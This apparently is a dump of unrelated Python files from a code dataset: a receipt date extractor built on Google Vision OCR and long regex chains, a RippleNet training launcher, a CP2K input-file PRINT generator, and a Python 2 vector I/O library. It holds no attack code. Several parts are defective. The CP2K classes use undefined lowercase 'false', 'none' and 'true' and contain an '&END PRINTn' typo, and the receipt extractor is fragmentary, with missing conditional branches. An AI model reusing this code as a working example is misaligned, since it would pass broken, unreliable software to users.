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extract_dates.py
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extract_dates.py
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Eshan-Agarwal/Receipts-dates-extractor
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[
"Apache-2.0"
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extract_dates.py
|
Eshan-Agarwal/Receipts-dates-extractor
|
52535c4956201d45fb9a8a3735fda838c210fa31
|
[
"Apache-2.0"
] | null | null | null |
import os
# Configure google vision api key
os.environ["GOOGLE_APPLICATION_CREDENTIALS"]="config/OCR-task-8c6b6f4f9e26.json"
from google.cloud import vision
import pandas as pd
import re
"""Detects text in the file."""
import io
a = 0
def extract_dates(path):
"""Responds to any Receipts images.
Args:
Receipt images of any type {.png,.jpg,.jpeg etc}.
Returns:
Date & time if present on receipt images otherwise NULL
"""
client = vision.ImageAnnotatorClient()
with io.open(path, 'rb') as image_file:
content = image_file.read()
image = vision.types.Image(content=content)
# Conncets client to document_text_detection in vision api which return text from images
response = client.document_text_detection(image=image) # For more details about document_text_detection visit : https://cloud.google.com/vision/docs/ocr
texts = response.full_text_annotation.text # Extract only text as document_text_detection return text along with pixel value where it was founded
# Below we are process extracted text through regular expressions (https://www.w3schools.com/python/python_regex.asp) to extract only dates in images.
process_text = re.sub(', ', '\'', texts)
process_text = re.sub(' / ', ' #', process_text)
process_text = re.sub('/ ', '/', process_text)
process_text = re.sub('[.] ', '\'', process_text)
process_text = re.sub('DATE:-', ' ',process_text)
process_text = re.sub('DATE : ', '',process_text)
process_text = re.sub('DATE ', '',process_text)
process_text = re.sub('DATE:-', ' ',process_text)
process_text = re.sub('DATE: ', ' #',process_text)
process_text = re.sub('DATE:', ' #',process_text)
process_text = re.sub('TIME :', ' ',process_text)
process_text = re.sub('TIME:', ' ',process_text)
process_text = re.sub('Date:-', ' ',process_text)
process_text = re.sub('Date : ', ' #',process_text)
process_text = re.sub('Date :', ' #',process_text)
process_text = re.sub('Date: ', ' #',process_text)
process_text = re.sub('Date ', '',process_text)
process_text = re.sub('Date:', ' #',process_text)
process_text = re.sub('Date:-', ' ',process_text)
process_text = re.sub('Time :', ' ',process_text)
process_text = re.sub('Time:', ' ',process_text)
process_text = re.sub('JANUARY ', 'Jan',process_text)
process_text = re.sub('FEBRUARY ', 'Feb',process_text)
process_text = re.sub('MARCH ', 'Mar',process_text)
process_text = re.sub('APRIL ', 'Apr',process_text)
process_text = re.sub('MAY ', 'May',process_text)
process_text = re.sub('JUNE ', 'Jun',process_text)
process_text = re.sub('JULY ', 'Jul',process_text)
process_text = re.sub('AUGUST ', 'Aug',process_text)
process_text = re.sub('SEPTEMBER ', 'Sep',process_text)
process_text = re.sub('OCTOBER ', 'Oct',process_text)
process_text = re.sub('NOVEMBER ', 'Nov',process_text)
process_text = re.sub('DECEMBER ', 'Dec',process_text)
process_text = re.sub(' Jan ', 'Jan\'',process_text)
process_text = re.sub(' Feb ', 'Feb\'',process_text)
process_text = re.sub(' Mar ', 'Mar\'',process_text)
process_text = re.sub(' Apr ', 'Apr\'',process_text)
process_text = re.sub(' May ', 'May\'',process_text)
process_text = re.sub(' Jun ', 'Jun\'',process_text)
process_text = re.sub(' Jul ', 'Jul\'',process_text)
process_text = re.sub(' Aug ', 'Aug\'',process_text)
process_text = re.sub(' Sep ', 'Sep\'',process_text)
process_text = re.sub(' Oct ', 'Oct\'',process_text)
process_text = re.sub(' Nov ', 'Nov\'',process_text)
process_text = re.sub(' Dec ', 'Dec\'',process_text)
process_text = re.sub('January ', 'Jan',process_text)
process_text = re.sub('February ', 'Feb',process_text)
process_text = re.sub('March ', 'Mar',process_text)
process_text = re.sub('April ', 'Apr',process_text)
process_text = re.sub('May ', 'May',process_text)
process_text = re.sub('June ', 'Jun',process_text)
process_text = re.sub('July ', 'Jul',process_text)
process_text = re.sub('August ', 'Aug',process_text)
process_text = re.sub('September ', 'Sep',process_text)
process_text = re.sub('October ', 'Oct',process_text)
process_text = re.sub('November ', 'Nov',process_text)
process_text = re.sub('December ', 'Dec',process_text)
process_text = re.sub('Jan ', 'Jan',process_text)
process_text = re.sub('Feb ', 'Feb',process_text)
process_text = re.sub('Mar ', 'Mar',process_text)
process_text = re.sub('Apr ', 'Apr',process_text)
process_text = re.sub('May ', 'May',process_text)
process_text = re.sub('Jun ', 'Jun',process_text)
process_text = re.sub('Jul ', 'Jul',process_text)
process_text = re.sub('Aug ', 'Aug',process_text)
process_text = re.sub('Sep ', 'Sep',process_text)
process_text = re.sub('Oct ', 'Oct',process_text)
process_text = re.sub('Nov ', 'Nov',process_text)
process_text = re.sub('Dec ', 'Dec',process_text)
process_text = re.sub(' JAN', 'Jan',process_text)
process_text = re.sub(' FEB', 'Feb',process_text)
process_text = re.sub(' MAR', 'Mar',process_text)
process_text = re.sub(' APR', 'Apr',process_text)
process_text = re.sub(' MAY', 'May',process_text)
process_text = re.sub(' JUN', 'Jun',process_text)
process_text = re.sub(' JUL', 'Jul',process_text)
process_text = re.sub(' AUG', 'Aug',process_text)
process_text = re.sub(' SEP', 'Sep',process_text)
process_text = re.sub(' OCT', 'Oct',process_text)
process_text = re.sub(' NOV', 'Nov',process_text)
process_text = re.sub(' DEC', 'Dec',process_text)
process_text = re.sub( '\d{5,} ', ' #',process_text)
process_text = re.sub('\d{5,} ', ' ',process_text)
process_text = re.sub('\d{5,}', '',process_text)
#process_text = re.sub('\d{3} ', ' -',process_text)
process_text = re.sub(' \d{1} ', ' #',process_text)
process_text = re.sub(' \d{2} ', ' #',process_text)
process_text = re.sub(': ', ' #',process_text)
process_text = re.sub(' - ', '',process_text)
process_text = re.sub(' PM', 'PM',process_text)
process_text = re.sub('[a-z] ', ' #',process_text)
process_text = re.sub('[Aa-zZ]\d{1,} ',' #',process_text)
process_text = re.sub(':\d{2,} ', ' #',process_text)
process_text = re.sub('\d{3,}/\d{1,} ', ' #',process_text)
process_text = re.sub(' \d{2}/\d{1}', '',process_text)
process_text = re.sub('-\d{1} ', ' #',process_text)
process_text = re.sub('\d{1,} \d{1,} \d{1,} \d{1,} \d{1,}',' #',process_text)
process_text = re.sub('.00',' #',process_text)
process_text = re.sub(' #', ' ',process_text)
process_text = re.sub('today', '',process_text)
process_text = re.sub(',', '\'',process_text)
process_text = re.sub('\'[A-Z]',' #',process_text)
# Make pandas DataFrame to store dates and time stored in process_text
df = pd.DataFrame(columns = ['date_time'])
for text_description in process_text.split(): # Split text description when space is encountered.
try:
ts = pd.to_datetime(text_description) # pd.to_datetime it stores only text_description which have dates or time in any format.
# for more info(https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.to_datetime.html)
df = df.append( # append all dates and time.
dict(
date_time = text_description
),ignore_index = True)
except (ValueError, OverflowError):
pass
# Below define conditions to return only date and time as a final result because pd.to_datetime also return digits as a dates according to unix time.
# so we create some rules and conditions for different len of dataframe.
if (len(df.date_time) == 0): # if df have no values that means their is no date present in image so returns NULL
a = "NULL"
if (len(df.date_time) == 1):
if not df.empty:
if not df.date_time[0].isdigit():
a = df.date_time[0]
if (len(df.date_time) == 1):
if not df.empty:
if df.date_time[0].isdigit() :
a = "NULL"
if (len(df.date_time) == 2):
if not df.empty:
if not df.date_time[0].isdigit():
if not df.date_time[1].isdigit():
if not (df.date_time[0] == df.date_time[1]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[0] == df.date_time[1]):
a = df.date_time[0]
if (len(df.date_time) == 2):
if not df.empty:
if df.date_time[0].isdigit() :
if not df.date_time[1].isdigit():
a = df.date_time[1]
if (len(df.date_time) == 2):
if not df.empty:
if df.date_time[1].isdigit() :
if not df.date_time[0].isdigit():
a = df.date_time[0]
if (len(df.date_time) == 2):
if not df.empty:
if df.date_time[0].isdigit() :
if df.date_time[1].isdigit() :
a = "NULL"
if (len(df.date_time) == 3):
if not df.empty:
if df.date_time[0].isdigit() :
if df.date_time[1].isdigit() :
if df.date_time[2].isdigit() :
a = "NULL"
if (len(df.date_time) == 3):
if not df.empty:
if not df.date_time[0].isdigit() :
if not df.date_time[1].isdigit() :
if not df.date_time[2].isdigit() :
if (df.date_time[0] != df.date_time[1] != df.date_time[2]):
a = df.date_time[0] + " " + (df.date_time[1]) + " " + (df.date_time[2])
if (df.date_time[0] == df.date_time[1] != df.date_time[2]):
a = df.date_time[0] + " " + (df.date_time[2])
if (df.date_time[0] == df.date_time[2] != df.date_time[1]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[1] == df.date_time[2] != df.date_time[0]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[0] == df.date_time[1] == df.date_time[2]):
a = df.date_time[0]
if (len(df.date_time) == 3):
if not df.empty:
if df.date_time[0].isdigit():
if df.date_time[1].isdigit():
if not df.date_time[2].isdigit():
a = df.date_time[2]
if (len(df.date_time) == 3):
if not df.empty:
if df.date_time[0].isdigit():
if df.date_time[2].isdigit():
if not df.date_time[1].isdigit():
a = df.date_time[1]
if (len(df.date_time) == 3):
if not df.empty:
if df.date_time[1].isdigit():
if df.date_time[2].isdigit():
if not df.date_time[0].isdigit():
a = df.date_time[0]
if (len(df.date_time) == 3):
if not df.empty:
if df.date_time[0].isdigit():
if not df.date_time[1].isdigit():
if not df.date_time[2].isdigit():
if not (df.date_time[1] == df.date_time[2]):
a = df.date_time[1] + " " + (df.date_time[2])
if (df.date_time[1] == df.date_time[2]):
a = df.date_time[1]
if (len(df.date_time) == 3):
if not df.empty:
if df.date_time[1].isdigit():
if not df.date_time[0].isdigit():
if not df.date_time[2].isdigit():
if not (df.date_time[0] == df.date_time[2]):
a = df.date_time[0] + " " + (df.date_time[2])
if (df.date_time[0] == df.date_time[2]):
a = df.date_time[0]
if (len(df.date_time) == 3):
if not df.empty:
if df.date_time[2].isdigit():
if not df.date_time[0].isdigit():
if not df.date_time[1].isdigit():
if not (df.date_time[0] == df.date_time[1]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[0] == df.date_time[1]):
a = df.date_time[0]
if (len(df.date_time) == 4):
if not df.empty:
if df.date_time[0].isdigit():
if df.date_time[1].isdigit():
if df.date_time[2].isdigit():
if df.date_time[2].isdigit():
a = "NULL"
if (len(df.date_time) == 4):
if not df.empty:
if not df.date_time[0].isdigit():
if not df.date_time[1].isdigit():
if not df.date_time[2].isdigit():
if not df.date_time[3].isdigit():
if (df.date_time[0] == df.date_time[1] == df.date_time[2]== df.date_time[3]):
a = df.date_time[0]
if (df.date_time[0] == df.date_time[1] == df.date_time[2]!= df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[3])
if (df.date_time[0] == df.date_time[1] == df.date_time[3]!= df.date_time[2]):
a = df.date_time[0] + " " + (df.date_time[2])
if (df.date_time[1] == df.date_time[2] == df.date_time[3]!= df.date_time[0]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[0] == df.date_time[2] == df.date_time[3]!= df.date_time[1]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[0] == df.date_time[1] != df.date_time[2]== df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[2])
if (df.date_time[0] == df.date_time[2] != df.date_time[1]== df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[0] == df.date_time[3] != df.date_time[1]== df.date_time[2]):
a = df.date_time[0] + " " + (df.date_time[2])
if (df.date_time[1] == df.date_time[2] != df.date_time[0]== df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[1])
if (df.date_time[2] == df.date_time[3] != df.date_time[1]== df.date_time[0]):
a = df.date_time[0] + " " + (df.date_time[2])
if (df.date_time[0] == df.date_time[1] != df.date_time[2]!= df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[2]) + " " + (df.date_time[3])
if (df.date_time[0] == df.date_time[2] != df.date_time[1]!= df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[1])+ " " + (df.date_time[3])
if (df.date_time[0] == df.date_time[3] != df.date_time[1]!= df.date_time[2]):
a = df.date_time[0] + " " + (df.date_time[1])+ " " + (df.date_time[2])
if (df.date_time[1] == df.date_time[2] != df.date_time[0]!= df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[1])+ " " + (df.date_time[3])
if (df.date_time[2] == df.date_time[3] != df.date_time[1]!= df.date_time[0]):
a = df.date_time[0] + " " + (df.date_time[1])+ " " + (df.date_time[2])
if (len(df.date_time) == 4):
if not df.empty:
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if not (df.date_time[1] == df.date_time[2] == df.date_time[3]):
a = (df.date_time[1]) + " " + (df.date_time[2]) + " " + (df.date_time[3])
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if (df.date_time[1] == df.date_time[3] != df.date_time[2]):
a = df.date_time[1] + " " + (df.date_time[2])
if (df.date_time[2] == df.date_time[3] != df.date_time[1]):
a = df.date_time[1] + " " + (df.date_time[2])
if (len(df.date_time) == 4):
if not df.empty:
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if (df.date_time[0] == df.date_time[1] != df.date_time[3]):
a = df.date_time[0] + " " + (df.date_time[3])
if (df.date_time[0] == df.date_time[3] != df.date_time[1]):
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if (df.date_time[1] == df.date_time[3] != df.date_time[0]):
a = df.date_time[0] + " " + (df.date_time[1])
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if (df.date_time[1] == df.date_time[2] != df.date_time[0]):
a = df.date_time[0] + " " + (df.date_time[1])
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if not df.empty:
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if (df.date_time[2] == df.date_time[3]):
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if not df.empty:
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if (df.date_time[1] == df.date_time[3]):
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if (df.date_time[0] == df.date_time[3]):
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if not (df.date_time[0] == df.date_time[2]):
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if (df.date_time[0] == df.date_time[2]):
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if (len(df.date_time) == 4):
if not df.empty:
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if (df.date_time[0] == df.date_time[1]):
a = df.date_time[0]
if (len(df.date_time) == 4):
if not df.empty:
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if (len(df.date_time) == 4):
if not df.empty:
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if (len(df.date_time) == 4):
if not df.empty:
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if not df.date_time[0].isdigit():
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if (len(df.date_time) == 4):
if not df.empty:
if df.date_time[0].isdigit():
if df.date_time[2].isdigit():
if df.date_time[3].isdigit():
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if (len(df.date_time) > 4):
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if not df.date_time[0].isdigit():
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import argparse
import numpy as np
from data_loader import load_data
from train import train
np.random.seed(555)
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
'''
parser = argparse.ArgumentParser()
parser.add_argument('--dataset', type=str, default='movie', help='which dataset to use')
parser.add_argument('--dim', type=int, default=16, help='dimension of entity and relation embeddings')
parser.add_argument('--n_hop', type=int, default=2, help='maximum hops')
parser.add_argument('--kge_weight', type=float, default=0.01, help='weight of the KGE term')
parser.add_argument('--l2_weight', type=float, default=1e-7, help='weight of the l2 regularization term')
parser.add_argument('--lr', type=float, default=0.02, help='learning rate')
parser.add_argument('--batch_size', type=int, default=1024, help='batch size')
parser.add_argument('--n_epoch', type=int, default=10, help='the number of epochs')
parser.add_argument('--n_memory', type=int, default=32, help='size of ripple set for each hop')
parser.add_argument('--item_update_mode', type=str, default='plus_transform',
help='how to update item at the end of each hop')
parser.add_argument('--using_all_hops', type=bool, default=True,
help='whether using outputs of all hops or just the last hop when making prediction')
'''
# default settings for Book-Crossing
parser = argparse.ArgumentParser()
parser.add_argument('--dataset', type=str, default='book', help='which dataset to use')
parser.add_argument('--dim', type=int, default=4, help='dimension of entity and relation embeddings')
parser.add_argument('--n_hop', type=int, default=2, help='maximum hops')
parser.add_argument('--kge_weight', type=float, default=1e-2, help='weight of the KGE term')
parser.add_argument('--l2_weight', type=float, default=1e-5, help='weight of the l2 regularization term')
parser.add_argument('--lr', type=float, default=1e-3, help='learning rate')
parser.add_argument('--batch_size', type=int, default=1024, help='batch size')
parser.add_argument('--n_epoch', type=int, default=10, help='the number of epochs')
parser.add_argument('--n_memory', type=int, default=32, help='size of ripple set for each hop')
parser.add_argument('--item_update_mode', type=str, default='plus_transform',
help='how to update item at the end of each hop')
parser.add_argument('--using_all_hops', type=bool, default=True,
help='whether using outputs of all hops or just the last hop when making prediction')
args = parser.parse_args()
show_loss = False
data_info = load_data(args)
train(args, data_info, show_loss)
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2021-11-08T13:29:37.000Z
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[
"MIT"
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|
2021-07-10T16:28:14.000Z
|
#!/usr/bin/evn python
# _*_ coding: utf-8 _*_
import numpy as np
import sys
import os
import shutil
"""
usage:
"""
# ============================================
# CP2K / PRINT
#=============================================
class cp2k_print_distribution_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_distribution:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_distribution_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&distribution\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end distribution\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print_distribution1d_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_distribution1d:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_distribution1d_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&distribution1d\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end distribution1d\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print_distribution2d_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_distribution2d:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_distribution2d_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&distribution2d\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end distribution2d\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print_forces_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_forces:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_forces_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&forces\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end forces\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print_grid_information_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_grid_information:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_grid_information_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&grid_information\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end grid_information\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print_program_run_info_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_program_run_info:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_program_run_info_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&program_run_info\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end program_run_info\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print_stress_tensor_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_stress_tensor:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_stress_tensor_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&stress_tensor\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end stress_tensor\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print_total_numbers_each:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t\t&each\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t\t%s %s\n" % (item, self.params[item]))
fout.write("\t\t\t&end each\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 4:
self.params[item.split("-")[-1]] = params[item]
else:
pass
class cp2k_print_total_numbers:
"""
"""
def __init__(self):
self.params = {
}
self.status = false
self.each = cp2k_print_total_numbers_each()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t\t&total_numbers\n")
for item in self.params:
if self.params[item] is not none:
fout.write("\t\t\t%s %s\n" % (item, self.params[item]))
if self.each.status == true:
self.each.to_input(fout)
fout.write("\t\t&end total_numbers\n")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 3:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[2] == "each":
self.each.set_params({item: params[item]})
else:
pass
class cp2k_print:
"""
"""
def __init__(self):
self.params = {
}
self.status = False
self.distribution = cp2k_print_distribution()
self.distribution1d = cp2k_print_distribution1d()
self.distribution2d = cp2k_print_distribution2d()
self.forces = cp2k_print_forces()
self.grid_information = cp2k_print_grid_information()
self.program_run_info = cp2k_print_program_run_info()
self.stress_tensor = cp2k_print_stress_tensor()
self.total_numbers = cp2k_print_total_numbers()
# basic setting
def to_input(self, fout):
"""
fout: a file stream for writing
"""
fout.write("\t&PRINT\n")
for item in self.params:
if self.params[item] is not None:
fout.write("\t\t%s %s\n" % (item, self.params[item]))
if self.distribution.status == True:
self.distribution.to_input(fout)
if self.distribution1d.status == True:
self.distribution1d.to_input(fout)
if self.distribution2d.status == True:
self.distribution2d.to_input(fout)
if self.forces.status == True:
self.forces.to_input(fout)
if self.grid_information.status == True:
self.grid_information.to_input(fout)
if self.program_run_info.status == True:
self.program_run_info.to_input(fout)
if self.stress_tensor.status == True:
self.stress_tensor.to_input(fout)
if self.total_numbers.status == True:
self.total_numbers.to_input(fout)
fout.write("\t&END PRINTn")
def set_params(self, params):
for item in params:
if len(item.split("-")) == 2:
self.params[item.split("-")[-1]] = params[item]
elif item.split("-")[1] == "DISTRIBUTION":
self.distribution.set_params({item: params[item]})
elif item.split("-")[1] == "DISTRIBUTION1D":
self.distribution1d.set_params({item: params[item]})
elif item.split("-")[1] == "DISTRIBUTION2D":
self.distribution2d.set_params({item: params[item]})
elif item.split("-")[1] == "FORCES":
self.forces.set_params({item: params[item]})
elif item.split("-")[1] == "GRID_INFORMATION":
self.grid_information.set_params({item: params[item]})
elif item.split("-")[1] == "PROGRAM_RUN_INFO":
self.program_run_info.set_params({item: params[item]})
elif item.split("-")[1] == "STRESS_TENSOR":
self.stress_tensor.set_params({item: params[item]})
elif item.split("-")[1] == "TOTAL_NUMBERS":
self.total_numbers.set_params({item: params[item]})
else:
pass
| 29.395904
| 74
| 0.476489
| 1,987
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| 3.992954
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| 0.067935
| 0.849382
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| 0.818125
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| 0.382793
| 17,226
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0
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bb8b0650244e9a5618cd1aa67bc9ecb596b2a5e5
| 6,889
|
py
|
Python
|
pythonlib/pyrcio_m.py
|
johnkerl/scripts-math
|
71b6c6617728290ce9643c80a75a402707ad1134
|
[
"BSD-2-Clause"
] | 3
|
2019-01-11T20:56:22.000Z
|
2020-02-22T10:32:59.000Z
|
pythonlib/pyrcio_m.py
|
johnkerl/scripts-math
|
71b6c6617728290ce9643c80a75a402707ad1134
|
[
"BSD-2-Clause"
] | null | null | null |
pythonlib/pyrcio_m.py
|
johnkerl/scripts-math
|
71b6c6617728290ce9643c80a75a402707ad1134
|
[
"BSD-2-Clause"
] | 3
|
2018-01-12T00:55:16.000Z
|
2020-02-22T10:33:03.000Z
|
#!/usr/bin/python -Wall
# ================================================================
# John Kerl
# kerl.john.r@gmail.com
# 2005-06-08
#
# Some simple I/O routines for real and complex scalars, vectors,
# and matrices.
# ================================================================
from __future__ import division # 1/2 = 0.5, not 0.
import sys
import copy
import re
# ================================================================
def complex_scalar_from_string(orig_line, lno):
zre = 0
zim = 0
line = copy.copy(orig_line)
# Chomp trailing newline, if any.
if (line[-1] == '\n'):
line = line[0:-1]
# Strip leading and trailing whitespace.
line = re.sub(r"^\s+", r"", line)
line = re.sub(r"\s+$", r"", line)
if (line == ""):
print >> sys.stderr, "pyrcio_m: empty input at line", lno
sys.exit(1)
# Tokenize.
strings = re.split(r"\s+", line)
if (len(strings) == 2):
zre = float(strings[0])
zim = float(strings[1])
elif (len(strings) == 1):
zre = float(strings[0])
else:
print >> sys.stderr, "pyrcio_m: unrecognizable input at line", lno
sys.exit(1)
return zre + zim*1j
# ----------------------------------------------------------------
def real_scalar_from_string(orig_line, lno):
z = 0
line = copy.copy(orig_line)
# Chomp trailing newline, if any.
if (line[-1] == '\n'):
line = line[0:-1]
# Strip leading and trailing whitespace.
line = re.sub(r"^\s+", r"", line)
line = re.sub(r"\s+$", r"", line)
if (line == ""):
print >> sys.stderr, "pyrcio_m: empty input at line", lno
sys.exit(1)
# Tokenize.
strings = re.split(r"\s+", line)
if (len(strings) == 1):
z = float(strings[0])
else:
print >> sys.stderr, "pyrcio_m: unrecognizable input at line", lno
sys.exit(1)
return z
# ================================================================
def read_complex_column_vector(file_name = "-"):
n = 0
v = []
lno = 0
if (file_name == "-"):
file_handle = sys.stdin
else:
try:
file_handle = open(file_name, 'r')
except:
print >> sys.stderr, "Couldn't open \"" + file_name + "\" for read."
sys.exit(1)
while (1):
line = file_handle.readline()
if (line == ""):
break
lno += 1
v.append(complex_scalar_from_string(line, lno))
n += 1
if (file_name != "-"):
file_handle.close()
if (n == 0):
print >> sys.stderr, "pyrcio_m: Empty input."
sys.exit(1)
return v
# ----------------------------------------------------------------
def read_real_column_vector(file_name = "-"):
n = 0
v = []
lno = 0
if (file_name == "-"):
file_handle = sys.stdin
else:
try:
file_handle = open(file_name, 'r')
except:
print >> sys.stderr, "Couldn't open \"" + file_name + "\" for read."
sys.exit(1)
while (1):
line = file_handle.readline()
if (line == ""):
break
lno += 1
v.append(real_scalar_from_string(line, lno))
n += 1
if (file_name != "-"):
file_handle.close()
if (n == 0):
print >> sys.stderr, "pyrcio_m: Empty input."
sys.exit(1)
return v
# ----------------------------------------------------------------
def print_complex_column_vector(v):
n = len(v)
for i in range(0, n):
print "%18.11f %18.11f" % (v[i].real, v[i].imag)
# ----------------------------------------------------------------
def print_real_column_vector(v):
n = len(v)
for i in range(0, n):
print "%18.11f" % (v[i])
# ================================================================
def complex_row_vector_from_string(orig_line, lno):
v = []
